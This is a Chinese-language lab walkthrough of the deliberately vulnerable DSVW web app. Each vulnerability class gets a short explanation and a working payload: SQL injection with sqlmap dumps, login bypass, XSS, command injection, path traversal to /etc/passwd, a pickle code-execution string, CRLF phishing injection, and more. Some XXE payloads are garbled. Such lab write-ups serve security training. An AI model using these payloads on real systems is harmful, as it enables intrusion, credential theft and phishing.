【DSVW】攻防实战全记录
此后如竟没有炬火,我便是唯一的光
首先整体浏览网站
Blind SQL Injection (boolean)
基于布尔型的盲注: HTTP请求的响应体中不会明确的返回SQL的错误信息, 当把参数送入程序查询时,并且在查询条件为真的情况下返回正常页面,条件为假时程序会重定向到或者返回一个自定义的错误页面。
进入后整体浏览网页
构造payload:
?id=2’
可以看到我们的id是没有被单引号包裹的
构造payload:
?id=2 and 1=1
有回显
构造payload:
?id=2 and 1=2
无回显,可判断存在SQL注入
判断字段数
?id=2 order by 4
为4
查询表名:
union select 1,name,3,4 from sqlite_master
为comments、sqlite_sequence、users
查询所有表中的字段名
union select 1,sql,3,4 from sqlite_master
比如users表中的字段为 id、name、password、surname、username
查询密码
union select 1,password,3,4 from users
为7en8aiDoh!、12345、gandalf、phest1945
查询版本:
union select 1,sqlite_version(),3,4 from sqlite_master
为3.8.7.1
首先用sqlmap进行检测
python sqlmap.py -u http://x.x.x.x/?id=2 --batch
可以发现是SQLite数据库
查询表名:
python sqlmap.py -u http://x.x.x.x/?id=2 --batch --tables
为comments、sqlite_sequence、users
查询users表中的字段
python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users --columns
为 id、name、password、surname、username
查询password的字段内容
python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users -C password --dump
为7en8aiDoh!、12345、gandalf、phest1945
构造payload:
and substr(sqlite_version(),1,1)=‘3’
得到sqlite版本首位为3
是布尔型注入
?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,1)=‘7’
正确有回显
错误payload:
?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,1)=‘8’
没有回显
构造payload:
?id=2 AND SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘7en8aiDoh!’
有回显,所以密码是7en8aiDoh!
Blind SQL Injection (time)
基于时间型的盲注: 与布尔型盲注类似, 当把参数送入程序查询时,通过判断服务器响应时所花费的时间, 如果延迟大于等于Payload中设定的值时就可判断查询结果为真, 否则为假。不同的BDMS使用的方法和技巧略有不同。
这个漏洞环境用到了 SQLITE3 中的 CASE 窗口函数与 RANDOMBLOB 来实现的基于时间的盲注。
MYSQL: sleep(2)
MSSQL: WAITFOR DELAY ‘0:0:2’
首先整体浏览网页
语句错误就不会沉睡
?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘1111111111’) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
如下
语句正确就会沉睡几秒
?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name=‘admin’),1,10)=‘7en8aiDoh!’) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
结果如下
UNION SQL Injection
基于联合查询注入: 使用UNION运算符用于SQL注入,UNION运算符是关联两个表的查询结果。攻击者故意伪造的恶意的查询并加入到原始查询中, 伪造的查询结果将被合并到原始查询的结果返回,攻击者会获得其他表的信息。
联合注入语句
?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||‘,’||password FROM users WHERE username=‘dricci’)
内容如下
Login Bypass
登陆绕过: 这里是基于SQL注入的一种绕过方式。登陆验证的逻辑没有验证和过滤输入字符直接带到sql进行查询,所以产生漏洞。
首先整体浏览网页
利用or 1=1绕过登录
login?username=admin&password='or ‘1’ like '1
成功绕过登陆
HTTP Parameter Pollution
当使用GET或者POST方法提交参数时, 请求体中包含了多个相同名称而不同值的参数。由于不同的语言与Web容器处理的方式不同, 结合业务场景会产生不同的影响。 通过利用这些影响,攻击者可能能够绕过输入验证,触发应用程序错误或修改内部变量值等风险。
参数污染就是重复断断续续的注释让waf以为这是注释从而绕过waf
login?username=admin&password='/**/or/**/'1'/**/like/**/'1
成功绕过登陆
Cross Site Scripting (reflected)
反射型跨站脚本攻击: 当攻击者在单个HTTP响应中插入浏览器可执行代码(HTML或JAVASCRIPT)时, 会发生反射跨站点脚本攻击。注入的恶意代码不会存储在应用程序后端, 它是非持久性的,只会影响打开恶意的链接或第三方网页的用户。
构造payload:
?v=0.2<script>alert("xss")</script>
成功弹窗
Cross Site Scripting (stored)
存储型跨站脚本攻击: 存储跨站脚本是最危险的跨站脚本类型, 其原理是Web系统会将攻击者提交的恶意代码存储到数据库中或是服务器后端里。只要受害者浏览到存在恶意代码的页面, 就会被执行恶意代码。
构造payload:
?comment=<script>alert("xss")</script>
点击here
每次刷新本页面,就会弹窗
Cross Site Scripting (DOM)
DOM型跨站脚本攻击: 基于DOM的跨站脚本是XSS bug的事实上的名字,它是页面上通常是JavaScript的活动浏览器端内容的结果,获取用户输入,然后做一些不安全的事情,导致注入代码的执行。
构造payload:
?#lang=en<script>alert("xss")</script>
成功弹窗
XML External Entity (local)
XML实体注入(本地): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来访问本地服务器上的资源信息。
首先整体浏览网页
用xml语句来查看etc目录下的passwd文件
?xml=]>&xxe;
结果如下
XML External Entity (remote)
XML实体注入(远程): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来将受害服务器的敏感信息上传到攻击者的服务器上,严重的可以反弹shell。
用xml语句来查看etc目录下的passwd文件
?xml=]>&xxe;
结果如下
Server Side Request Forgery
服务器端请求伪造: 一种由攻击者构造形成的指令并由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统资源。
构造payload:
?path=http://x.x.x.x:81/
如果 IP 地址 x.x.x.x开放了 81 端口, 那么返回得到的信息, 否则返回一个 500 错误。
Blind XPath Injection (boolean)
XPath注入: 与SQL注入类似,当网站使用用户提交的信息来构造XML数据的XPath查询时,会发生XPath注入攻击。 通过将有意的畸形信息发送到网站,攻击者可以了解XML数据的结构,或访问他通常不能访问的数据。 如果XML数据用于认证(例如基于XML的用户文件),他甚至可以提升其在网站上的权限。
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。
因此,对 XPath 的理解是很多高级 XML 应用的基础。
首先整体浏览网页:
构造payload:
?name=admin’ and substring(password/text(),1,10)='7en8aiDoh!
结果如下
Cross Site Request Forgery
跨站请求伪造: 会导致受害者在当前被认证的Web应用程序上执行一些 “非正常授权” 的操作。通常这类攻击需要借助第三方(如:通过邮件、私信、聊天发送链接等)的一些帮助,攻击者可以强制Web应用程序的用户执行攻击者选择的操作。当受害者是普通用户时, CSRF攻击可能会影响最终用户数据和操作; 如果受害者是管理员帐户,CSRF攻击可能会危及整个Web应用程序系统的安全。
首先整体浏览网站,发现是Cross Site Scripting (stored)后的页面,会弹xss
构造payload:
?comment=<img src="/?comment=<div style="color:red; font-weight: bold">I lIke studying</div>">
点击here
结果如下
Frame Injection (phishing)
Frame注入(钓鱼): 属于XSS的范畴, 将HTML的标签注入到存在漏洞的HTTP响应体中, 如: iframe标签。
构造payload:
<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
Frame Injection (content spoofing)
Frame注入(内容欺骗): 同上原理。
构造payload:
<iframe src="https://www.baidu.com" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>
成功注入iframe标签
Unvalidated Redirect
未验证的重定向: 当Web应用程序接受不受信任的输入时,可能会导致Web应用程序将请求重定向到包含在不受信任的输入中的URL,从而可能导致未经验证的重定向和转发。 通过将不受信任的URL输入修改为恶意网站,攻击者可能会成功启动网络钓鱼诈骗并窃取用户凭据。 由于修改链接中的服务器名称与原始网站相同,因此网络钓鱼尝试可能具有更可信的外观。 未验证的重定向和转发攻击也可用于恶意制作一个URL,该URL将通过应用程序的访问控制检查,然后将攻击者转发到他们通常无法访问的特权功能。
构造payload:
?redir=https://www.baidu.com
成功跳转
Arbitrary Code Execution
任意代码执行: 开发人员没有严格验证用户输入的数据, 在某些特殊业务场景中, 用户可构造出恶意的代码或系统命令, 来获得服务器上的敏感信息或者得到服务器的控制权限。
构造payload:
?domain=www.google.com; ifconfig
Full Path Disclosure
完整路径泄露: 全路径泄露漏洞使攻击者能够看到Web应用程序在服务器端的完整路径(例如:/var/www/html/)。攻击者会结合其他漏洞对Web系统进一步的攻击(如: 写 Webshell)。
构造payload:
?path=http://x.x.x.x:81/
Source Code Disclosure
源码泄露: 该漏洞会造成允许未授权用户获得服务器端应用程序的源代码。此漏洞会造成企业内部的敏感信息泄露或容易遭受恶意攻击者攻击。
构造payload:
?path=dsvw.py
结果如下
Path Traversal
路径穿越: 路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹外部的文件和目录。通过使用 “…/” 或 “…\” 等相对文件路径方式来操纵引用文件的变量,该漏洞会允许访问存储在文件系统上的任意文件和目录。
构造payload:
?path=…/…/…/…/etc/passwd
结果如下
File Inclusion (remote)
远程文件包含: 通常利用目标应用程序中实现的 “动态文件包含” 机制,允许攻击者包括一个远程文件。 由于对用户输入的数据没有进行适当的验证,导致出现漏洞。
构造payload:
?include=dsvw.py
结果如下
HTTP Header Injection (phishing)
HTTP响应头拆分(钓鱼): 用户提交的部分参数, 没有经过验证或过滤直接在响应头中输出, 由于HTTP的Header中使用了CRLF(url中的%0d%0a)来分割各个字段中的数据。恶意用户可以构造特殊的数据应该欺骗钓鱼。
构造payload:
?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://www.baidu.com" onSubmit="alert('hello')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>
当用户输入数据的时候会弹框
然后跳转到我们指定的页面
Component with Known Vulnerability (pickle)
使用含有已知漏洞的组件(pickle): pickle存在一个文件序列化漏洞。
整体浏览网页
构造payload:
?object=cos%0Asystem%0A(S’ping -c 5 127.0.0.1’%0AtR.%0A
这里执行了ping -c 5 127.0.0.1 命令
Denial of Service (memory)
拒绝服务(memory): 资源消耗型的 DoS 攻击, 通过大量的恶意请求来访问有缺陷的服务, 从而造成服务器的系统资源消耗(如: CPU利用率100%、内存耗尽等) 增大, 来影响正常用户的使用。往往会造成正常用户的无法打开或无法访问等一系列问题。
整体浏览网页
构造payload:
?size=99999
可以看到页面一直在刷新
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://rdyx0.blog.csdn.net/
公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85